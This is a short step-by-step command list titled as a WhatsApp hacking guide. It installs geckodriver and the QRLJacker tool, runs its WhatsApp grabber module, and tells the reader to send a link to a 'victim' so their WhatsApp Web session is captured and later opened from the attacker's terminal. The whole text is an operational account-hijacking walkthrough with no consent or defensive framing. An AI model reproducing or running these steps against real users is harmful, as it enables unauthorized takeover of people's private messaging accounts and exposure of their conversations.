WhatsApp Hacking Using QRLJacking (Command list)

$ sudo apt update
$ sudo apt full-upgrade -y
$ sudo apt-get install python3.6
$ sudo apt install python3-pip

First of all, you have to download the driver for firefox and setup in your Linux system using the 
commands given below:

$ wget https://github.com/mozilla/geckodriver/releases/download/v0.30.0/geckodriver-v0.30.0-linux64.tar.gz
$ tar -xvf geckodriver-v0.30.0-linux64.tar.gz
$ chmod +x geckodriver
$ sudo mv -f geckodriver /usr/local/share/geckodriver
$ sudo ln -s /usr/local/share/geckodriver /usr/local/bin/geckodriver
$ sudo ln -s /usr/local/share/geckodriver /usr/bin/geckodriver

Now download and set up the QRLJacking tool given commands

$ git clone https://github.com/OWASP/QRLJacking
$ cd QRLJacking/QRLJacker
$ pip install -r requirements.txt
$ python3 QrlJacker.py

Now we are ready to perform vector QR Jacking attack, type given commands:

$ use grabber/whatsapp
$ set port 4444
$ run

Now send that link to victim and once victim scanned their WhatsApp web QR code, hacker/attacker get a session 
saved on this tool to later access a WhatsApp Web session.

$ sessions

Now the list of saved sessions is shown on your Terminal (In my case "0")

$ sessions -i 0

Now wait a few seconds and Firefox automatically launched and you get a WhatsApp web session of victim as shown
in the image given below.
